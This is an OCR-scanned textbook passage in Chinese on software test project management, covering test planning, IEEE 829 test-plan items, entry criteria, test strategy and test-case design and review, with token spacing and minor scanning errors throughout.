2. 测试 计划 先行 


软件 项 目 管理 过 程 从 项 目 计 划 的 活动 开始 ,软件 测试 项 目 也 不 例外 ,也 是 从 测试 计划 开 
始 。 在 测试 计划 活动 中 ,首先 要 制定 测试 目标 ,针对 测试 风险 制定 测试 策略 ,并 分 析 工 作 范 
围 和 估算 工作 量 .时 间 资源 、 成 本 等 。 

软件 项 目 计 划 的 目标 是 提供 一 个 框架 ,不 断 收 集 信 息 , 对 不 确定 性 进行 分 析 , 将 不 确定 
性 的 内 容 慢 慢 转化 为 确定 性 的 内 容 , 该 过 程 最 终 使 得 管理 者 能 够 对 资源 、 成 本 及 进度 进行 合 
理 的 估算 。 这 些 估算 还 是 在 项 目 早期 做 出 的 ,并 受到 时 间 的 限制 ,所 以 计划 能 接受 一 定 的 风 
险 和 不 确定 性 ,今后 还 会 随 着 项 目的 进展 而 不 断 更 新 。 

3. 建立 优先 级 

在 项 目的 管理 过 程 中 ,经 常 碰 到 的 问题 是 : 等 待 做 的 任务 比较 多 ,但 人 力 资源 和 时 间 受 
到 限制 ,要 完成 所 有 的 任务 几乎 是 不 可 能 的 。 这 时 候 要 解决 的 就 是 为 各 项 任务 建立 优先 级 ， 
这 样 就 可 以 根据 优先 级 高 低 , 先 后 处 理 各 项 任务 ,降低 测试 的 风险 ,以 最 小 的 代价 获得 尽 可 
能 高 的 质量 。 


4. 依靠 团队 的 能 力 
优秀 的 项 目 管理 者 知道 自己 首要 的 任务 是 领导 好 团队 ,服务 好 整个 团队 ,这 些 服务 包括 
技术 训练 和 指导 、 解 决 问题 和 冲突 、 提 供 资源 ,建立 项目 目标 和 优先 级 等 。 测 试 的 任务 是 要 
靠 大 家 完成 的 ,团队 的 绩效 才 是 重要 的 ,只 有 依靠 团队 的 力量 ,才能 确保 项 目的 成 功 。 
5. 建立 客观 的 评价 标准 
通过 客观 的 评价 标准 ,减少 人 为 错误 ,更 准确 地 控制 测试 进程 。 要 做 到 这 一 点 ,尽量 及 
时 准确 客观 地 将 所 有 活动 产生 的 有 用 的 数据 记录 下 来 ,包括 会 议 纪要 ,审核 记录 缺陷 报 
告 等 。 强 调 以 数据 说 话 , 跟 踪 项 目 状态 ,监督 各 项 措施 落实 ,这 样 使 整个 项 目 过 程 具有 良好 
的 可 测 性 、 可 跟踪 性 。 同 时 ,要 善于 利用 各 种 工具 和 系统 ,使 这 项 工作 记录 的 数据 更 直观 、 数 
据 化 ,便于 评估 。 
6. 软件 测试 项 目 管理 者 的 责任 
。 始终 能 够 把 质量 放 在 第 一 位 ,测试 工作 的 根本 在 于 保证 产品 的 质量 ,应 该 在 测试 小 
组 中 建立 起 有 质量 才能 生存 的 观念 ,要 把 与 测试 有 关 的 各 项 工作 和 组 员 的 积极 性 结 
合 起 来 ,建立 一 套 相 适应 的 质量 责任 制度 ,形成 一 个 严密 的 质量 体系 。 
能 够 制定 好 测试 策略 有 计划 地 安排 工作 、 系 统 的 解决 方案 等 。 
。 注意 合理 分 配 任务 ,明确 规定 每 一 个 人 在 测试 工作 中 的 具体 任务 、 职 责 和 权限 ,每 个 
组 员 都 明确 自己 该 做 什么 ,怎么 做 、 负 什么 责任 、 做 好 的 标准 是 什么 。 做 到 人 人 心中 
有 数 , 为 保证 和 提高 产品 质量 (或 服务 质量 ) 提 供 基本 的 保证 。 
遇 到 问题 ,能 准确 地 判断 是 技术 问题 还 是 流程 问题 ,重视 解决 流程 问题 。 
。 有 良好 的 意识 去 关心 组 员 ,关注 项 目 组 员 的 情绪 ,以 鼓励 为 主 ,不 断 激励 员工 ,鼓舞 
士气 ,发 挥 每 一 位 员工 的 潜力 ,注重 团队 的 工作 效率 。 
*。 将 项 目 中 已 有 的 成 功 经 验 灵 活 地 应 用 到 新 的 项 目 中 ,做 好 测试 项 目的 风险 管理 和 质 
量 管理 。 
© 项目 管理 者 具有 良好 的 沟通 能 力 , 和 其 他 部 门 不 仅 能 进行 有 效 沟 通 ,而 且 可 以 施加 
自己 的 影响 (说 服 别 人 ) ,以 促进 项 目的 整体 合作 、 理 解 和 流程 改进 。 


17.3 ”软件 测试 项 目的 过 程 管理 


软件 测试 项 目的 过 程 管理 远 不 是 锁定 在 测试 阶段 ,因为 软件 测试 不 能 等 待 代码 全 部 完 
成 后 才 开始 对 程序 进行 测试 ,而 是 贯穿 整个 软件 开发 生命 周期 。 从 项 目 一 开始 ,测试 人 员 就 
应 该 参与 进去 ,审查 需求 文档 、 产 品 规格 说 明 书 、 技 术 设 计 文档 和 代码 等 ,以 验证 是 否 真正 符 
合 客户 需求 满足 系统 非 功能 性 质量 的 设计 需求 ,检查 是 否 遵 守 代码 的 变量 定义 规则 、 是 否 
有 足够 的 注释 行 等 。 

软件 测试 项 目的 过 程 管理 主要 集中 在 软件 测试 项 目的 启动 、 测 试 计划 、 测 试用 例 设计 、 
测试 执行 ,测试 结果 的 审查 和 分 析 , 以 及 如 何 开 发 或 使 用 测试 过 程 管理 工具 ,更 多 地 体现 在 
如 何 组 织 、 跟 踪 和 控制 这 些 过 程 。 

(1) 测试 项 目 启动 : 首先 要 确定 项 目 组 长 ,只 有 把 项 目 组 长 确定 下 来 , 才 可 以 组 建 整 个 
测试 小 组 ,并 可 以 和 开发 等 部 门 开展 工作 。 然 后 ,参加 有 关 项 目 计划 、 分 析 和 设计 的 会 议 , 获 


得 必要 的 需求 分 析 、 系 统 设计 文档 ,以 及 相关 产品 /技术 知识 的 培训 和 转移 。 

(2) 测试 计划 阶段 ( 详 见 17. 3. 1 节 ): 确定 测试 范围 ,测试 策略 和 方法 ,以 及 对 风险 .日 
ER ,资源 等 进行 分 析 和 估计 。 

G) 测试 设计 阶段 ( 详 见 17. 3.2 W): 制定 测试 的 技术 方案 ` 设 计 测试 用 例 .选择 测试 工 
有 具 、 开 发 测试 脚本 等 ,并 让 其 他 部 门 审查 测试 用 例 。 

(4) 测试 执行 阶段 ( 详 见 17. 3.7 节 ) : 建立 或 设置 相关 的 测试 环境 ,准备 测试 数据 ,执行 
测试 用 例 ,报告 .分 析 和 跟踪 所 发 现 的 软件 缺陷 等 。 测 试 的 执行 也 不 容 忽视 ,因为 它 直接 关 
系 到 测试 的 可 靠 性 、 客 观 性 和 准确 性 。 

(5) 测试 结果 的 审查 和 分 析 : 当 测试 执行 结束 后 ,对 测试 结果 要 进行 整体 的 或 综合 分 
析 , 以 评估 软件 产品 质量 的 当前 状态 ,为 产品 的 改进 或 发 布 提供 依据 。 从 管理 来 讲 , 主 持 好 
测试 结果 的 审查 和 分 析 会 议 ,以 及 编制 高 质量 的 测试 报告 , 详 见 第 16 章 。 


17.3.1 测试 的 目标 和 准则 


测试 项 目 计 划 的 整体 目标 是 为 了 确定 测试 的 任务 .所 需 的 各 种 资源 和 投入 、 预 见 可 能 出 
现 的 问题 和 风险 ,以 指导 测试 的 执行 ,最 终 实 现 测试 的 目标 ,保证 软件 产品 的 质量 。 

1. 确定 测试 目标 

A) 为 测试 各 项 活动 制定 一 个 现实 可 行 的 ,综合 的 计划 ,包括 每 项 测试 活动 的 对 象 、 范 
围 .方法 、 进 度 和 预期 结果 ; 

(2) 为 项 目 实 施 建立 一 个 组 织 模型 ,并 定义 测试 项 目 中 每 个 角色 的 责任 和 工作 内 容 ，; 

(3) 开发 有 效 的 测试 模型 ,能 正确 地 验证 正在 开发 的 软件 系统 ; 

(4) 确定 测试 所 需要 的 时 间 和 资源 ,以 保证 其 可 获得 性 有 效 性 ; 

(5) 确立 每 个 测试 阶段 测试 完成 以 及 测试 成 功 的 标准 、 要 实现 的 目标 ; 

(6) 识别 出 测试 活动 中 各 种 风险 ,并 消除 可 能 存在 的 风险 ,降低 那些 不 可 能 消除 的 风险 
所 带 来 的 损失 ; 

(7) 基于 风险 评估 和 资源 、 时 间 的 限制 ,制定 有 效 的 测试 策略 ,在 可 预见 的 、 可 接受 的 风 
险 前 提 下 ,保证 项 目测 试 任务 按时 完成 。 

2. 软件 测试 项 目的 准则 

为 了 保证 测试 实施 能 按 计划 执行 ,必须 确认 测试 在 满足 什么 外 部 条 件 下 才能 开始 ,这 就 
要 求 在 测试 计划 中 定义 软件 测试 项 目 及 其 各 个 阶段 的 进入 准则 ,然后 再 定义 测试 项 目 及 其 
各 个 阶段 的 结束 准则 。 例 如 ,测试 项 目的 结束 准则 包括 测试 用 例 评审 准则 、 测 试 执行 结束 准 
则 、Bug 描述 和 处 理 准则 ` 文 档 模板 和 质量 评估 准则 等 ,而 测试 项 目的 进入 准则 有 : 

(1) 清楚 了 解 项 目的 整体 计划 框架 ,才能 够 制定 测试 计划 ; 

(2) 完成 需求 规格 说 明 书 评审 : 只 有 了 解 到 用 户 具 体 的 、 实 际 的 需求 ,才能 分 析 和 确定 
测试 需求 和 测试 范围 ; 

(3) 技术 知识 或 业务 知识 的 储备 : 无 论 是 业务 领域 发 生变 化 还 是 新 技术 的 引入 ,测试 
人 员 都 需要 事先 做 好 知识 准备 ,包括 对 测试 人 员 进 行 必要 的 培训 ; 

(4) 标准 环境 : 建立 与 用 户 使 用 环境 或 业务 运行 环境 一 致 或 非常 接近 的 测试 环境 ; 

(5) 技术 设计 文档 是 测试 用 例 设 计 的 重要 参考 资料 ,帮助 测试 人 员 了 解 系统 的 技术 实 


现 以 及 系统 可 能 存在 的 薄弱 环节 等 ; 
(6) 足够 的 资源 : 包括 人 力 资源 、 硬 件 资源 .软件 资源 和 其 他 环境 资源 ; 
(7) 人 员 组 织 结构 : 项 目 经 理 、 测 试 组 长 .成员 等 责任 及 其 之 间 的 关系 已 确定 。 


17.3.2 测试 计划 内 容 


软件 测试 计划 是 指导 测试 过 程 的 纲领 性 文件 ,描述 测试 活动 的 范围 方法、 策略 .资源 、 
任务 安排 和 进度 等 ,并 确定 测试 项 哪些 功能 特性 将 被 测试 .哪些 功能 特性 将 无 需 测试 ,识别 
测试 过 程 中 的 风险 。 借 助 软件 测试 计划 ,确保 测试 实施 过 程 顺 畅 ,能 有 效 地 跟踪 和 控制 测试 
过 程 ,并 能 容易 应 对 可 能 发 生 的 各 种 变更 。 

在 制定 测试 计划 时 ,由 于 不 同 软 件 公 司 的 背景 不 同 ,测试 计划 内 容 会 有 差异 ,但 一 些 基 
本 内 容 是 相同 的 。 例 如 ,IEEE829 一 1998 软件 测试 文档 编制 标准 中 规定 软件 测试 计划 应 包 
含 16 项 内 容 : 

(1) 测试 计划 标识 符 ( 文 档 编 号 ) ; 

(2) 项 目 总 体 情况 简介 ; 

(3) 测试 项 (test item) ; 

(4) 需要 测试 的 功能 ; 

(5) 方法 (策略 ) ; 

(6) 不 需要 测试 的 功能 ; 

(7) 测试 项 通过 /失败 的 标准 ; 

(8) 测试 中 断 和 恢复 的 规定 ; 

(9) 测试 完成 所 提交 的 材料 ; 

(10) 测试 任务 ; 

(11) 测试 环境 要 求 ; 

(12) 测试 人 员 职 责 ; 

(13) 人 员 安 排 与 培训 需求 ; 

(14) 进度 表 ; 

(15) 潜在 的 问题 和 风险 ; 

(16) 审批 。 

在 测试 计划 中 ,还 要 考虑 休假 和 法 定 假 日 带 来 的 影响 ,以 及 做 好 项 目 相 关 技术 和 业务 的 
培训 。 软 件 测试 计划 内 容 主要 集中 在 测试 目标 和 需求 说 明 ,测试 工作 量 估 算 、 测 试 策略 、 测 
试 资源 配置 .进度 表 ,测试 风险 等 。 

(1) 目标 和 范围 : 包括 质量 目标 .产品 特性 .各 阶段 的 测试 对 象 、 目 标 .范围 和 限制 。 

(2) 项 目 估 算 : 根据 历史 数据 和 采用 恰当 的 评估 技术 ,如 项 目 工作 分 解 结构 方法 ,对 测 
试 工作 量 、 所 需 资源 (人 力 、 时 间 、 软 硬件 环境 ) 做 出 合理 的 估算 。 

(3) 风险 计划 : 测试 可 能 存在 的 风险 的 分 析 、 识 别 ,以 及 风险 的 回避 ,监控 和 管理 。 

(4) 进度 表 : 根据 项 目 估算 结果 和 人 力 资源 现状 ,以 软件 测试 的 常规 周期 作为 参考 , 采 
用 关键 路 径 法 等 ,完成 进度 的 安排 ,采用 时 限 图 、 甘 特 图 等 方法 来 描述 资源 和 时 间 的 关系 , 例 
如 什么 时 候 测试 哪 一 个 模块 .什么 时 候 要 完成 某 项 测试 任务 等 。 

(5) 项 目 资源 : 人 员 ,硬件 和 软件 等 资源 的 组 织 和 分 配 , 人 力 资源 是 重点 , 它 和 日 程 安 


排 联系 密切 。 

(6) 跟踪 和 控制 机 制 : 质量 保证 和 控制 ,变化 管理 和 控制 等 。 例 如 ,明确 如 何 提交 一 个 
问题 报告 .如何 去 界 定 一 个 问题 的 性 质 或 严重 程度 .多 少时 间 内 做 出 响应 等 。 

对 于 大 型 软件 项 目 , 可 能 需要 一 系列 测试 计划 书 , 例 如 按 集成 测试 ,系统 测试 ,验收 测试 
等 阶段 去 组 织 ,为 每 一 个 阶段 制定 一 个 计划 书 , 也 可 以 为 每 个 测试 项 (安全 性 测试 、 性 能 测 
试 , 可 靠 性 测试 等 ) 制 定 特别 的 计划 书 , 其 至 可 以 制定 测试 范围 /风险 分 析 报 告 、 测 试 标准 工 
作 计 划 、 资 源 和 培训 计划 、 风 险 管理 计划 、 测 试 实施 计划 、 质 量 保证 计划 等 。 


17.3.3 测试 项 目的 计划 过 程 


测试 项 目的 计划 不 可 能 一 气 呵 成 ,而 是 要 经 过 计划 初期 ,起草 讨论、 审查 等 不 同 阶段 ， 
才能 将 测试 计划 制定 好 。 测 试 计划 的 编写 是 一 项 系统 工作 ,编写 者 随 着 对 项 目 逐 步 了 解 ,不 
断 细 化 和 完善 测试 计划 。 一 般 来 说 ,在 测试 需求 分 析 前 制作 总 体 测试 计划 书 , 在 测试 需求 分 
析 后 制作 详细 测试 计划 书 。 

(1) 计划 初期 是 收集 整体 项 目 计划 、 需 求 分 析 、 功 能 设计 、 系 统 原型 .用 户 用 例 (Use 
Case) 等 文档 或 信息 ,理解 用 户 的 真正 需求 ,了 解 技术 难点 和 弱点 ,并 与 其 他 项 目 相关 人 员 进 
行 充分 交流 ,在 需求 和 设计 上 达到 一 致 的 理解 。 

(2) 测试 计划 最 关键 的 一 步 就 是 确定 测试 需求 和 测试 范围 ,将 软件 系统 逐步 分 解 , 将 软 
件 分 解 成 较 小 而 且 相 对 独立 的 功能 模块 。 这 样 ,针对 各 个 单元 就 比较 容易 写成 测试 需求 , 测 
试 需 求 是 测试 用 例 设 计 的 基础 ,并 用 来 衡量 测试 覆盖 率 的 重要 指标 。 

(3) 计划 起 草 。 根 据 计划 初期 所 掌握 的 各 种 项 目 信 息 ,确定 测试 策略 ,选择 合适 有 效 
的 测试 方法 ,完成 测试 计划 的 框架 。 

(4) 内 部 审查 。 在 提供 给 其 他 部 门 讨论 之 前 , 先 在 测试 小 组 /部 门 内 部 进行 审查 ,测试 
团队 的 其 他 人 员 帮 助 发 现 问题 ,并 在 测试 团队 内 部 达成 一 致 

(5) 计划 讨论 和 修改 。 召 开 有 需求 分 析 、 设 计 、 开 发 人 员 参 加 的 计划 讨论 会 议 ,测试 组 
长 将 测试 计划 设计 的 思想 、 策 略 做 较 详 细 的 介绍 ,并 听取 大 家 对 测试 计划 中 各 个 部 分 的 意 
见 , 进 行 讨论 交流 。 

(6) 测试 计划 的 多 方 审查 。 计 划 的 审查 是 必 不 可 少 的 ,尽管 测试 团队 努力 制定 一 个 全 
面 的 有 效 的 测试 计划 ,但 还 会 受到 测试 团队 本 身 的 局 限 性 ,测试 计划 可 能 不 够 完整 准确 。 
此 外 ,就 像 开 发 者 很 难 测试 自己 的 代码 那样 ,测试 工程 师 也 很 难 评估 自己 的 测试 计划 。 项 目 
中 的 每 个 团队 都 应 派 人 参与 测试 计划 的 审查 ,每 个 审查 者 都 可 能 根据 其 经 验 及 专长 发 现 测 
试 计 划 中 的 问题 ,提出 良好 的 建议 。 

(7) 测试 计划 的 定稿 和 批准 。 在 计划 讨论 .审查 的 基础 上 ,综合 各 方面 的 意见 ,就 可 以 
完成 测试 计划 书 ,然后 上 报 给 测试 经 理 或 更 高 层 的 经 理 , 得 到 批准 , 方 可 执行 。 

(8) 测试 计划 的 跟踪 。 测 试 计划 书 完成 之 后 ,不 要 束之高阁 ,而 是 要 跟踪 其 执行 ,随时 
将 测试 执行 状态 和 测试 计划 要 求 进行 比 对 。 如 果 是 执行 问题 ,就 需要 纠正 执行 ; 如 果 是 计 
划 跟 不 上 需求 和 设计 的 变化 ,就 要 对 计划 做 相应 的 调整 。 一 个 良好 的 测试 计划 ,和 实际 执行 
的 偏差 不 应 该 太 大 ,理想 情况 下 ,两 者 保持 一 致 。 

在 测试 计划 的 每 个 阶段 上 ,都 要 清楚 该 阶段 要 达到 的 目标 ` 负 责 人 是 谁 , 哪 些 人 要 参与 
(提供 信息 、 参 加 评审 等 ) .工作 的 重点 是 什么 最终 需要 提供 哪些 资料 。 例 如 ,以 计划 起 草 阶 


段 为 例 : 

。 目标 : 重点 描述 如 何 使 测试 建立 在 客观 的 基础 上 ,定义 测试 项 及 其 基本 方法 、 策 略 ， 
粗略 估算 测试 需要 的 时 间 和 人 力 资 源 周期 .最 终 递交 测试 报告 的 时 间 等 。 
工作 重点 : 绘制 一 个 相对 完整 的 功能 结构 图 ,并 描述 功能 特性 测试 会 覆盖 哪些 功能 
特性 ,如 果 没 有 覆盖 全 部 的 功能 特性 ,那么 会 带 来 哪些 测试 风险 或 多 大 的 测试 风险 ; 
如 何 验证 系统 设计 、 验 证 设计 需要 多 长 时 间 ,在 此 之 前 ,是 否 需要 对 测试 人 员 进 行 相 
关 培 训 ; 根据 系统 平台 选 型 ,如 何 搭建 测试 平台 。 
需要 的 资料 : 项 目的 整体 计划 书 初稿 .产品 需求 文档 初稿 :用例 (use case) 和 其 他 项 
目 文档 等 。 
成 果 : 测试 计划 书 初稿 系统 功能 结构 图 等 。 
负责 人 : 测试 组 长 。 
参与 人 : 市 场 部 门 ,产品 经 理 、 项 目 经 理 . 开 发 组 长 和 测试 组 其 他 人 员 。 
变更 : 说 明 有 可 能 会 导致 测试 计划 变更 的 事件 ,包括 项 目 整体 计划 的 变更 .增加 新 
的 功能 特性 、 测 试 工具 的 改进 ,测试 环境 的 改变 等 。 

测试 计划 不 仅 是 软件 产品 当前 版 本 而 且 还 是 下 一 个 版 本 的 测试 设计 的 主要 信息 来 源 ， 
在 进行 新 版 本 测试 时 ,可 以 在 原 有 的 软件 测试 计划 书 上 进行 修改 来 完成 计划 的 制定 ,会 节约 
比较 多 的 时 间 。 


17.3.4 制定 有 效 的 测试 计划 


在 计划 书 中 ,有 些 内 容 是 介绍 测试 项 目的 背景 ,所 采用 的 技术 方法 等 ,这 些 内 容 仅仅 作 
为 参考 ,但 有 些 内 容 则 可 以 看 作 是 测试 组 所 做 出 的 承诺 ,必须 要 实施 或 达到 的 目标 ,如 要 完 
成 的 测试 任务 ,测试 组 构成 和 资源 安排 ,测试 项 目的 里 程 碑 、 面 向 解决 方案 的 交付 内 容 ,项 目 
标准 、 质 量 标 准 、 相 关 分 析 报 告 等 。 

要 做 好 测试 计划 ,测试 设计 人 员 要 仔细 阅读 有 关 资 料 ,包括 用 户 需 求 规格 说 明 书 、 设 计 
文档 、 使 用 说 明 书 等 ,全 面 熟悉 系统 ,对 软件 测试 方法 和 项 目 管理 技术 有 着 深刻 的 理解 ,并 建 
议 注意 以 下 方面 : 

(1) 确定 测试 项 目的 任务 ,清楚 测试 范围 和 测试 目标 ,如 提交 什么 样 的 测试 结果 。 

(2) 测试 计划 尽量 识别 出 各 种 测试 风险 ,并 制定 出 相应 的 对 策 。 

(3) 让 所 有 合适 的 相关 人 员 参 与 测试 项 目的 计划 制定 ,特别 是 在 测试 计划 早期 。 

(4) 对 测试 的 各 阶段 所 需要 的 时 间 . 人 力 及 其 他 资源 进行 预 估 ,尽量 做 到 客观 、 准 确 、 留 
有 余地 。 

(5) 制定 测试 项 目的 输入 、 输 出 和 质量 标准 ,并 和 有 关 方面 达成 一 致 

(6) 建立 变化 处 理 的 流程 规则 ,识别 出 在 整个 测试 阶段 中 哪些 是 内 在 的 、 不 可 避免 的 变 
化 因素 ,如 何 进行 控制 。 

(7) 不 要 忽视 技术 上 的 问题 ,例如 系统 架构 的 设计 对 系统 的 性 能 测试 .故障 转移 测试 等 
有 和 较 大 影响 。 在 测试 计划 过 程 中 ,要 和 系统 设计 人 员 充 分 沟通 。 

(8) 要 对 测试 的 公正 性 、 遵 照 的 标准 做 一 个 说 明 ,证 明 测试 是 客观 的 ,整体 上 ,软件 功能 
要 满足 需求 ,实现 正确 ,和 用 户 文档 的 描述 保持 一 致 。 

(9) 测试 计划 应 简洁 、 易 读 并 有 所 侧重 ,重点 内 容 要 详细 描述 ,避免 测试 计划 的 “大 而 


全 ”重点 不 突出 和 缺乏 层次 。 例 如 ,具体 的 测试 技术 指标 可 以 用 单独 的 测试 详细 规格 文档 
来 说 明 , 通 用 测试 流程 也 应 该 由 单独 文档 来 描述 ,而 测试 用 例 就 更 不 要 放 在 测试 计划 中 。 


17.3.5 测试 策略 的 确定 


软件 测试 通常 指 实际 运行 被 测 程序 ,输入 相应 的 测试 用 例 ,判定 执 行 结果 是 否 符合 要 
求 ,从 而 检验 程序 的 正确 性 、 可 靠 性 和 有 效 性 。 软 件 测试 可 采用 的 方法 和 技术 是 多 种 多 样 
的 ,但 通常 情况 下 不 论 采 用 什么 方法 和 技术 ,其 测试 都 是 不 彻底 的 ,也 是 不 完全 的 ,因为 任何 
一 次 完全 测试 或 者 穷 举 测试 ( 即 让 被 测 程序 在 一 切 可 能 的 操作 情况 下 ,包括 正确 的 操作 ,也 
包括 错误 的 操作 情况 下 ,全 部 执行 一 遍 ) 的 工作 量 太 大 ,在 实践 上 行 不 通 。 因 此 ,任何 实际 测 
试 ,都 不 能 够 保证 被 测试 程序 中 不 存在 遗漏 的 缺陷 。 

为 了 最 大 程度 地 减少 这 种 遗漏 的 错误 ,同时 也 为 了 最 大 限度 地 发 现 已 经 存在 的 错误 ,在 
测试 实施 之 前 ,必须 确定 采用 合适 的 测试 策略 和 测试 方法 ,并 以 此 为 依据 制定 详细 的 测试 用 
例 。 而 一 个 好 的 测试 策略 和 测试 方法 , 必 将 给 软件 测试 带 来 事半功倍 的 效果 , 它 可 以 充分 利 
用 有 限 的 人 力 和 物力 资源 ,高 效率 、 高 质量 地 完成 测试 。 

由 此 可 知 ,测试 策略 通常 是 描述 测试 项 目的 目标 和 所 采用 的 测试 方法 ,确定 在 不 同 的 测 
试 阶段 的 测试 范围 测试 任务 的 优先 级 ,以 及 所 采用 的 测试 技术 和 工具 ,以 获得 最 有 效 的 测 
试 和 可 能 达到 的 质量 水 平 。 在 制定 测试 策略 前 ,要 认真 分 析 测 试 策略 影响 因素 HY AO ; 

(1) 要 使 用 的 测试 技术 和 工具 ,如 自动 化 测试 比例 要 达到 60% ,手工 测试 是 60%. 

(2) 测试 完成 标准 。 每 个 具体 软件 都 有 其 特殊 性 ,测试 完成 的 标准 会 有 差异 ,测试 完成 
的 标准 对 策略 确定 有 着 重要 的 影响 ,标准 高 ,测试 工作 量 会 增 大 ,在 资源 有 限 情况 下 ,如何 借 
助 有 效 的 方法 获得 可 接受 的 产品 质量 水 平 。 例 如 ,军用 系统 对 软件 的 可 靠 性 .安全 性 要 求 非 
常 高 ,而 小 型 商场 的 收费 系统 , 则 强调 数据 的 准确 性 、 管 理 的 灵活 性 和 易 用 性 。 

(3) 影响 资源 分 配 的 特殊 考虑 ,例如 有 些 测试 必须 在 周末 进行 ,有 些 测试 必须 通过 远程 
环境 执行 ,有 些 测试 需 考虑 与 外 部 接口 或 硬件 接口 集成 后 进行 。 在 测试 资源 分 配 时 ,考虑 测 
试 需求 ,有 针对 性 地 采取 不 同 的 测试 方法 和 时 间 ,会 节省 一 定 的 测试 资源 。 

依据 软件 本 身 的 性 质 ,规模 及 应 用 的 场合 不 同 ,将 选择 不 同 的 测试 方案 ,以 最 少 的 软件 、 
硬件 及 人 力 资 源 的 投入 得 到 最 佳 的 测试 效果 ,这 就 是 测试 策略 目标 所 在 。 通 过 以 上 分 析 ,可 
以 将 测试 策略 的 确定 过 程 归 纳 为 输入 、 输 出 和 过 程 。 

d) 输入 : 

。 要 求 的 硬件 和 软件 组 件 的 详细 说 明 , 包 括 测试 工具 (测试 环境 ,测试 工具 数据 ); 

。 针对 测试 和 进度 约束 (人 员 ,进度 表 ) 而 需要 的 资源 的 角色 和 职责 说 明 ; 

。 测试 方法 (标准 ); 

。 应 用 程序 的 功能 性 和 技术 性 需求 (需求 ,变更 请 求 ,技术 性 和 功能 性 设计 文档 ); 

。 系统 不 能 够 提供 的 需求 (系统 局 限 ) 。 

(2) 输出 : 

。 已 批准 和 签署 的 测试 策略 文档 测试 计划 ,测试 用 例 ; 

。 需要 解决 方案 的 测试 项 目 (通常 要 求 客户 项 目的 管理 层 协调 ) 。 

(3) 过 程 。 测 试 策略 是 关于 如 何 测试 系统 的 正式 描述 ,要 求 开发 针对 所 有 测试 级 别 的 
测试 策略 。 测 试 小 组 分 析 需 求 ,编写 测试 策略 并 且 和 项 目 小 组 一 起 复审 计划 。 测 试 计 划 应 


该 包括 测试 用 例 和 条 件 测试 环境 ,与 任务 相关 的 测试 .通过 /失败 的 准则 和 测试 风险 评估 。 
测试 进度 表 将 识别 所 有 要 求 有 成 功 的 测试 成 果 的 任务 ,活动 的 进度 和 资源 要 求 。 
那么 ,究竟 如 何 才能 确定 一 个 好 的 测试 策略 和 测试 方法 呢 ? 常用 的 策略 有 基于 测试 技 
术 的 测试 策略 和 基于 测试 方案 的 综合 测试 策略 。 
(1) 基于 测试 技术 的 测试 策略 。 著 名 软件 测试 专家 Myers 指出 了 使 用 各 种 测试 方法 的 
综合 策略 : 
。 在 任何 情况 下 都 必须 使 用 边界 值 分 析 方法 。 经 验 表明 ,用 这 种 方法 设计 出 测试 用 例 
发 现 程序 错误 的 能 力 最 强 。 
© 必要 时 用 等 价 类 划分 方法 补充 一 些 测试 用 例 。 
。 用 错误 推测 法 再 追加 一 些 测试 用 例 。 
。 对 照 程序 逻辑 ,检查 已 设计 出 的 测试 用 例 的 逻辑 覆盖 程度 。 如 果 没 有 达到 要 求 的 覆 
盖 标 准 ,应 当 再 补充 足够 的 测试 用 例 。 
。 如 果 程 序 的 功能 说 明 中 含有 输入 条 件 的 组 合 情 况 , 则 一 开始 就 可 选用 因果 图 法 。 
(2) 基于 测试 方案 的 综合 测试 策略 。 一 方面 ,可 根据 程序 的 重要 性 和 一 旦 发 生 故 障 将 
造成 的 损失 ,来 确定 它 的 测试 等 级 和 测试 重点 ; 另 一 方面 ,通过 认真 研究 分 析 , 使 用 尽 可 能 
少 的 测试 用 例 ,发 现 尽 可 能 多 的 程序 错误 ,因为 一 次 完整 的 软件 测试 过 后 ,如 果 程 序 中 遗漏 
的 错误 过 多 并 且 很 严重 , 则 表明 本 次 测试 是 失败 的 ,是 不 足 的 ; 而 测试 不 足 意味 着 让 用 户 承 
担 隐藏 错误 带 来 的 危险 。 但 是 ,如 果 过 度 测 试 , 则 又 会 造成 资源 浪费 。 需 要 在 这 两 点 上 权 
衡 ,找到 一 个 最 佳 平 衡 点 。 


17.3.6 测试 设计 和 开发 


软件 测试 设计 是 建立 在 测试 计划 之 上 ,将 测试 需求 转换 成 测试 用 例 ,呈现 各 种 测试 环境 
和 测试 场景 ,覆盖 全 部 测试 点 。 测 试 设计 可 以 分 为 两 个 层次 : 

。 高 层次 的 设计 。 针 对 功能 测试 ,性 能 测试 .安全 性 和 可 靠 性 测试 等 不 同 的 需求 ,制定 
合适 的 测试 技术 方案 ,确认 各 个 测试 阶段 要 采用 的 测试 技术 ,测试 环境 和 平台 ,以 及 
选择 什么 样 的 测试 工具 。 

。 低层 次 的 设计 。 在 测试 的 技术 方案 基础 上 ,根据 产品 需求 分 析 、 系 统 技 术 设 计 等 规 
格 说 明 书 , 设 计 具 体 的 测试 用 例 。 

软件 测试 设计 中 ,一 方面 要 做 好 测试 设计 前 的 知识 传递 ,将 设计 /开发 人 员 已 经 所 掌握 

的 技术 .产品 .设计 等 知识 传递 给 测试 人 员 ; 同时 从 不 同方 面 来 考量 设计 结果 : 

。 测试 技术 方案 是 否 可 行 . 是 否 有 效 ,是否 能 达到 预期 的 测试 目标 ? 

。 测试 用 例 是 否 完整 .边界 条 件 是 否 考虑 、 其 覆盖 率 能 达到 多 高 ? 

。 测试 环境 是 否 和 用 户 的 实际 使 用 环境 比较 接近 ? 

为 了 确保 设计 质量 ,还 要 做 好 测试 用 例 的 审查 工作 ,不 仅 要 通过 测试 人 员 的 审查 ,还 要 

通过 设计 /开发 人 员 的 审查 ,包括 非 正式 和 正式 的 审查 。 

(1) 非 正 式 的 审查 : 一 般 在 QA 或 测试 小 组 (部 门 ) 内 部 进行 ,包括 同 测试 组 人 员 互 审 

(Peer Review)。 测 试 组 长 和 资深 入 员 在 审查 中 能 发 挥 更 好 的 作用 。 
D 正式 的 审查 : 一 般 通 过 正式 邮件 将 已 设计 好 的 测试 用 例 发 给 相应 的 产品 市 场 人 
员 、 系 统 设计 人 员 和 程序 员 等 ,让 他 们 先 通读 一 遍 , 将 发 现 的 问题 记 下 来 。 然 后 由 测试 组 长 


或 项 目 经 理 召 开 一 个 测试 用 例 审 查 会 ,由 测试 人 员 先 对 测试 用 例 的 设计 思想 .方法 .思路 等 
进行 说 明 , 然 后 其 他 评审 人 员 把 问题 提出 来 ,测试 人 员 给 予 回答 和 解释 ,进行 必要 的 讨论 ,使 
问题 得 到 港 清 ,记录 下 待 解决 的 问题 。 

审查 完 的 测试 用 例 , 经 修改 后 ,就 可 以 直接 用 于 手工 测试 或 用 于 测试 脚本 的 开发 。 

